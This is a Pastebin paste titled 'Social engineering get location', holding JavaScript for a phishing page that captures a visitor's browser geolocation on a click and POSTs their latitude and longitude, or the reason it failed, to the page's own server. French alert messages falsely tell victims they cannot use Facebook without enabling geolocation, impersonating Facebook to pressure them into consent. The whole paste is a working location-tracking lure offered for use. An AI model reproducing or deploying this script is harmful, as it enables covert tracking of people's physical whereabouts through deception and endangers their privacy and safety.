Advertisement
Benjamin_Loison

Social engineering get location

Mar 17th, 2018
402
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var first = true;
  2. var once = false;
  3. var needToActive = "Vous ne pouvez pas utiliser Facebook sans avoir auparavant avoir autorisé la géolocalisation.";
  4.  
  5. document.getElementById("background").addEventListener("click", function(){
  6.             sendLocation();
  7. });
  8.  
  9. function sendLocation()
  10. {
  11.         //alert("1");
  12.         if(navigator.geolocation)
  13.         {
  14.                 //alert("2");
  15.                 navigator.geolocation.getCurrentPosition(sendPosition, function (error)
  16.                 {
  17.                         //alert("err:");
  18.                         //alert(error.code);
  19.                     if(error.code == error.PERMISSION_DENIED)
  20.                         {
  21.                                 sendSpecialMessage("Geolocalisation has been denied.");
  22.                                 alert(needToActive);
  23.                         }
  24.                         else if(error.code == error.POSITION_UNAVAILABLE)
  25.                         {
  26.                                 sendSpecialMessage("Position unavailable.");
  27.                                 alert(needToActive);
  28.                         }
  29.                         else if(error.code == error.TIMEOUT)
  30.                         {
  31.                                 sendSpecialMessage("Time out.");
  32.                                 alert("Le délai de connexion a expiré, renouvellez la requête.");
  33.                         }
  34.                         else if(error.code == error.UNKNOWN_ERROR)
  35.                         {
  36.                                 sendSpecialMessage("Unknown error.");
  37.                                 alert("Une erreur inconnue s'est produite, renouvellez la requête.");
  38.                         }
  39.                 });
  40.         }
  41.         else
  42.         {
  43.                 sendSpecialMessage("Geolocalisation is not supported.");
  44.                 alert("Votre navigateur ne supporte pas la géolocalisation, merci d'utiliser un autre navigateur.");
  45.         }
  46. }
  47.  
  48. function sendPosition(position)
  49. {
  50.         //alert("2");
  51.         if(once)
  52.                 if(first)
  53.                         first = false;
  54.                 else
  55.                         return;
  56.         var coords = position.coords;
  57.         var xhr = new XMLHttpRequest();
  58.  
  59.         xhr.open('POST', 'index.php');
  60.  
  61.         var form = new FormData();
  62.         form.append('latitude', position.coords.latitude);
  63.         form.append('longitude', position.coords.longitude);
  64.  
  65.         xhr.send(form);
  66. }
  67.  
  68. function sendSpecialMessage(message)
  69. {
  70.         if(once)
  71.                 if(first)
  72.                         first = false;
  73.                 else
  74.                         return;
  75.         var xhr = new XMLHttpRequest();
  76.  
  77.         xhr.open('POST', 'index.php');
  78.  
  79.         var form = new FormData();
  80.         form.append('message', message);
  81.  
  82.         xhr.send(form);
  83. }
  84.  
  85. //alert("a");
  86. //sendLocation();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement